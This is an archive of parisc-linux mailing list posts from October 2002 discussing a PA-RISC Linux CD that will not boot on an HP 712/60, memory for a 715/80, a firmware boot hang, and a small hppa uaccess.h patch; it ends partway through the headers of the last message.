	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16426

Hello all!
I hope this is the right place for posting such a question:

- Ive tried MANY times  (5) burning an PA-RISC image to a bootable CD.
Couldnt make my system
boot from the CD though...the image Im talking about is this one:
http://pateam.esiee.fr/cd-images/palinux-0.9.3.iso

I have a 712/60 HP station, with an external SCSI CD-rom drive. The drive is
at ID "scsi.3.0".
I do the boot search after the POST routine, it finds my SCSI drive, its
brand and everything else.

When I try to boot from the CD the station simply does nothing. It tryes to
boot and returns
to the BOOT_ADMIN screen. ONCE I could get a message like "loading the
stuff, etc....OPS, KERNEL something".
And only ONCE...in one of the first CDs.

I did an extensive search on the Internet regarding this subject, and used
all hints found for
the burning software (yes, Im burning on XP, unfortunately all linuxes Ive
found doenst
have CD writers)...used Nero 5.5, CDRWin 4.0B and Blindwrite. None of them
seem to burn this image
correctly. And I say that with the knowledge after burning many, many
applications, games, etc
onto CD-R. Protected or not. For AIX, for Windows, for Solaris.
Weird...

The simptoms are:

- If I load the CD on a windows machine, everything seems to be fine,
DESPITE all filenames
being in CAPS... (bad sign?)
- On the 712/60 it wont boot.
- After booting into HP-UX, if I try to mount the CD it takes a looong time
and then the OS finally mounts it, but all filenames are capitalised AND
SOMETIMES, the ";1" suffix is appended to every filename. Ive seen
something about that on Nero, but on tabs that you simply cannot change.
(something like "doesnt append ;1 on...")
- I contacted a friend and co-worker which is a "Linux" guy, but he wasnt
willing to help much..
- Things that Ive read on the net like "Search the iso or the CD for the
#8000 sector and see if the MAGIC word is on there (CD001) and IT IS in all
Cds Ive searched.

I am REALLY interested in putting this thing to run up on my HP
station....but Im having a hard time...

Maybe someone could give some help?

Thanks for now.
[ ]s,
Jeffo - Brazil.



From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Burning CD Images difficulties: revisited
Date: Wed, 9 Oct 2002 18:48:52 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <3DA3C54C000001C0@ocpmta5.be.tiscali.com>
References: <00b601c26fb0$a4ce35a0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621810 15231 80.91.229.3 (22 Nov 2014 02:03:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:30 +0000 (UTC)
To: "Jeffo" <jeffo@pop.hsbc.com.br>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 10:56:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (mail.tiscali.be [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A8964829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 10:56:21 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 9 Oct 2002 18:48:52 +0200
In-Reply-To: <00b601c26fb0$a4ce35a0$db0b0aa7@pcaktel083>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16427

Hello Jeffo,

>-- Original Message --
>From: "Jeffo" <jeffo@pop.hsbc.com.br>
>To: <parisc-linux@lists.parisc-linux.org>
>Subject: [parisc-linux] Burning CD Images difficulties: revisited
>Date: Wed, 9 Oct 2002 13:26:38 -0300
>
>
>Hello all!
>I hope this is the right place for posting such a question:
>
>- I?ve tried MANY times  (5) burning an PA-RISC image to a bootable CD.
>Couldn?t make my system
>boot from the CD though...the image I?m talking about is this one:
>http://pateam.esiee.fr/cd-images/palinux-0.9.3.iso
>

I also used this CD (a long long time ago) to install also a 712/60 and do
not met any problem (not mentionned in FAQ).
So the first think I would do before burning my CD is to check with md5sum
the imaged downloaded.
If it is Ok check the burned image (dd if=/dev/rdsk/c1t2d0 of=- | md5sum;
should work).


>I have a 712/60 HP station, with an external SCSI CD-rom drive. The drive
>is
>at ID "scsi.3.0".
>I do the boot search after the POST routine, it finds my SCSI drive, its
>brand and everything else.
>
>When I try to boot from the CD the station simply does nothing. It tryes
>to
>boot and returns
>to the BOOT_ADMIN screen. ONCE I could get a message like "loading the
>stuff, etc....OPS, KERNEL something".
>And only ONCE...in one of the first CDs.
>
It should be that the begining of the CD is Ok but corrupted else where?

Goog luck,
    Joel

PS: md5sum for hpux should be available near: <http://hpux.connect.org.uk/>
(or a repository)




From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] uaccess.h BUG (non-feature?)
Date: Wed, 9 Oct 2002 19:00:12 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <3DA3C54C000001C9@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621811 15232 80.91.229.3 (22 Nov 2014 02:03:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 11:07:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (mail.tiscali.be [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48DB04829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 11:07:28 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 9 Oct 2002 19:00:12 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16428

Hi all,

In the tools evms-1.2 I finaly found the solution in itself :-?

Here is the code:
...
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,18)
                rc = evms_cs_kernel_ioctl(new_disk, BLKGETSIZE64,
                                          (ulong) & new_disk->total_vsectors);
                if (!rc) {
                        /* convert bytes to 512 byte sectors */  
                        new_disk->total_vsectors >>= EVMS_VSECTOR_SIZE_SHIFT;
                } else
#endif
...

which seems to be kind to verify that kernel support this feature, isn't
it?

But hppa kernel put_kernel(x,ptr) did not send error return code in that
case of test (just printk bug message).

I do not know if it is the best patch but here is the simple solution I test:
...
#if BITS_PER_LONG == 32
#define LDD_KERNEL(ptr)         BUG(); __gu_err=-1;
#define LDD_USER(ptr)           BUG(); __gu_err=-1;
#define STD_KERNEL(x, ptr)      BUG(); __pu_err=-1;
#define STD_USER(x, ptr)        BUG(); __pu_err=-1;
#else
...

Seems to work even with annoying bug messages.

Thanks in advance for advise,
    Joel



From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot (micro) hang
Date: Wed, 09 Oct 2002 11:57:17 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20021009175717.A5B184829@dsl2.external.hp.com>
References: <3DA2945D.7010301@visoel.de> <3DA2E27B.5708975E@hpfrcu81.france.hp.com> <20021008170152.AD42D4839@dsl2.external.hp.com>  <3DA424C6.58F6806C@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621811 15236 80.91.229.3 (22 Nov 2014 02:03:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: phi <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 11:57:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A5B184829; Wed,  9 Oct 2002 11:57:17 -0600 (MDT)
In-Reply-To: Message from phi <phi@hpfrcu81.france.hp.com> 
   of "Wed, 09 Oct 2002 14:44:54 +0200." <3DA424C6.58F6806C@hpfrcu81.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16429

phi wrote:
> My Firmware is
> 
> Firmware Version  5.2

sorry - I forgot to mention the FAQ explains how to determine
what the latest available rev is.

grant


From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Weerts <cw@familie-weerts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Which Memory to use on a 715/80?
Date: Wed, 9 Oct 2002 21:31:30 +0200
Organization: private
Lines: 9
Approved: news@gmane.org
Message-ID: <20021009193130.GA708@familie-weerts.de>
Reply-To: Christian Weerts <christian@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621811 15239 80.91.229.3 (22 Nov 2014 02:03:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:31 +0000 (UTC)
To: PaRisc-List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 13:31:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1.ewetel.de (mail1.ewetel.de [212.6.122.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9B0F4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 13:31:35 -0600 (MDT)
Original-Received: from murphy.familie-weerts.de (dialin-81031.ewetel.net [212.6.81.31])
	by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id g99JVUC6012184
	for <parisc-linux@lists.parisc-linux.org>; Wed, 9 Oct 2002 21:31:31 +0200 (MEST)
Original-Received: from cw by murphy.familie-weerts.de with local (Exim 3.35 #1 (Debian))
	id 17zMYM-0000dt-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 09 Oct 2002 21:31:30 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Url: <http://www.familie-weerts.de/>
X-Editor: Vim-601 http://www.vim.org
X-CheckCompat: OK
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16430

My 715/80 has a memory problem. Perhaps i need new memory.
Which is the right one to buy?

Greets,
    Christian

-- 
May the Source be with you...


From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Which Memory to use on a 715/80?
Date: Wed, 09 Oct 2002 21:36:59 +0200
Organization: ESIEE
Lines: 15
Approved: news@gmane.org
Message-ID: <3DA4855B.2040003@esiee.fr>
References: <20021009193130.GA708@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621812 15240 80.91.229.3 (22 Nov 2014 02:03:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:32 +0000 (UTC)
Cc: PaRisc-List <parisc-linux@lists.parisc-linux.org>
To: Christian Weerts <christian@familie-weerts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 13:39:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 558F64829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 13:39:38 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id D53E849CA7; Wed,  9 Oct 2002 21:39:34 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id 5EDBD49CA3; Wed,  9 Oct 2002 21:39:34 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16431

Christian Weerts wrote:
> My 715/80 has a memory problem. Perhaps i need new memory.
> Which is the right one to buy?
you may probably find the answer here:
http://partsurfer.hp.com/cgi-bin/spi/main?sel_flg=modinfo&model=9000/715/80

HTH,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Weerts <cw@familie-weerts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Which Memory to use on a 715/80?
Date: Wed, 9 Oct 2002 21:57:20 +0200
Organization: private
Lines: 18
Approved: news@gmane.org
Message-ID: <20021009195720.GA2279@familie-weerts.de>
References: <20021009193130.GA708@familie-weerts.de> <3DA4855B.2040003@esiee.fr>
Reply-To: Christian Weerts <christian@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621812 15243 80.91.229.3 (22 Nov 2014 02:03:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:32 +0000 (UTC)
Cc: Christian Weerts <christian@familie-weerts.de>,
	PaRisc-List <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 13:57:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail2.ewetel.de (mail2.ewetel.de [212.6.122.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id C58EA4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 13:57:24 -0600 (MDT)
Original-Received: from murphy.familie-weerts.de (dialin-81031.ewetel.net [212.6.81.31])
	by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id g99JvKs6000780;
	Wed, 9 Oct 2002 21:57:20 +0200 (MEST)
Original-Received: from cw by murphy.familie-weerts.de with local (Exim 3.35 #1 (Debian))
	id 17zMxM-0000gC-00; Wed, 09 Oct 2002 21:57:20 +0200
Content-Disposition: inline
In-Reply-To: <3DA4855B.2040003@esiee.fr>
User-Agent: Mutt/1.3.28i
X-Url: <http://www.familie-weerts.de/>
X-Editor: Vim-601 http://www.vim.org
X-CheckCompat: OK
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16432

* Thibaut VARENE <varenet@esiee.fr> [021009 21:36]:
> Christian Weerts wrote:
> >My 715/80 has a memory problem. Perhaps i need new memory.
> >Which is the right one to buy?
> you may probably find the answer here:
> http://partsurfer.hp.com/cgi-bin/spi/main?sel_flg=modinfo&model=9000/715/80
> 
Thanks! That's what I'm looking for the whole last week.

Can I use other SIMMs with ECC from any other contributor,
or is the use of these SIMMs recommended?

Greets,
    Christian

-- 
May the Source be with you...


From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@telocity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Burning CD Images difficulties: revisited
Date: Wed, 9 Oct 2002 16:33:14 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <55E2C72A-DBC6-11D6-82A6-000393581E44@telocity.com>
References: <00b601c26fb0$a4ce35a0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v546)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621812 15246 80.91.229.3 (22 Nov 2014 02:03:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:32 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Jeffo" <jeffo@pop.hsbc.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 14:33:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c003.snv.cp.net (h016.c003.snv.cp.net [209.228.32.230])
	by dsl2.external.hp.com (Postfix) with SMTP id A35D9482B
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 14:33:09 -0600 (MDT)
Original-Received: (cpmta 11574 invoked from network); 9 Oct 2002 13:33:06 -0700
Original-Received: from 64.128.230.1 (HELO telocity.com)
  by smtp.telocity.com (209.228.32.230) with SMTP; 9 Oct 2002 13:33:06 -0700
X-Sent: 9 Oct 2002 20:33:06 GMT
In-Reply-To: <00b601c26fb0$a4ce35a0$db0b0aa7@pcaktel083>
X-Mailer: Apple Mail (2.546)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16433

On Wednesday, Oct 9, 2002, at 12:26 US/Eastern, Jeffo wrote:

> - I=B4ve tried MANY times  (5) burning an PA-RISC image to a bootable =
CD.
> Couldn=B4t make my system
> boot from the CD though...the image I=B4m talking about is this one:
> http://pateam.esiee.fr/cd-images/palinux-0.9.3.iso
>
> I have a 712/60 HP station, with an external SCSI CD-rom drive. The=20
> drive is
> at ID "scsi.3.0".
> I do the boot search after the POST routine, it finds my SCSI drive,=20=

> its
> brand and everything else.
>
> When I try to boot from the CD the station simply does nothing. It=20
> tryes to
> boot and returns
> to the BOOT_ADMIN screen. ONCE I could get a message like "loading the
> stuff, etc....OPS, KERNEL something".
> And only ONCE...in one of the first CDs.

Assuming that the ISO md5sum matches, I would suggest that you try=20
another CD drive. Also, if you have DIP switches/jumpers on the drive,=20=

make sure that the sector size is set to 512 and not 2048.

Have you burned other disks and successfully read them in this drive?=20
Under HP-UX? Perhaps try CDR/RW media with different dyes (ie, blue,=20
black, green, etc)?



From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot (micro) hang
Date: Thu, 10 Oct 2002 08:33:40 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <3DA51F44.1898AA4@hpfrcu81.france.hp.com>
References: <3DA2945D.7010301@visoel.de> <3DA2E27B.5708975E@hpfrcu81.france.hp.com> <20021008170152.AD42D4839@dsl2.external.hp.com>  <3DA424C6.58F6806C@hpfrcu81.france.hp.com> <20021009175717.A5B184829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621812 15250 80.91.229.3 (22 Nov 2014 02:03:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 10 00:32:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72DDF482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Oct 2002 00:32:22 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 7D116525
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Oct 2002 08:32:18 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id IAA01138; Thu, 10 Oct 2002 08:33:40 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16434

Grant Grundler wrote:
> 
> phi wrote:
> > My Firmware is
> >
> > Firmware Version  5.2
> 
> sorry - I forgot to mention the FAQ explains how to determine
> what the latest available rev is.
> 

The FAQ also say it is dangerous to update a firware and you do it only if
absolutly necessary.

In my situation I had the proof that booting the prev kernel was ok, so the FW
was good enough for this.

I own only 1 c180, and will not have another one, also based on your
recomandation I prefered discover what made the C180 hanging at boot, at least
I learned a bit more about the iotree discovery, while upgrading the firmware
to 6.1 would have learned me nothing and I could have lost my machine.

So all in all I am happy with my temp solution, I am glad that Ryan will
revisit his code and fix this regression for the benefit of all.

So apparently FW5.2 is good enough for what I am doing, the patch catalog only
give the latest version number and doesn't tell what diff there is between 5.2
and 6.1, without good explanation, there is no reason to upgrade.

The link 'HPUX-11 Patch Management' is obso and don't work (for me).

Thanx for your help and pointers.
Cheers,
Phi


From - Thu Nov 08 21:25:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Burning CD Images difficulties: revisited
Date: Thu, 10 Oct 2002 09:27:37 +0200
Lines: 250
Approved: news@gmane.org
Message-ID: <02Oct10.094018cest.119058@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2702E.8229A8D0"
X-Trace: ger.gmane.org 1416621813 15252 80.91.229.3 (22 Nov 2014 02:03:33 GMT)
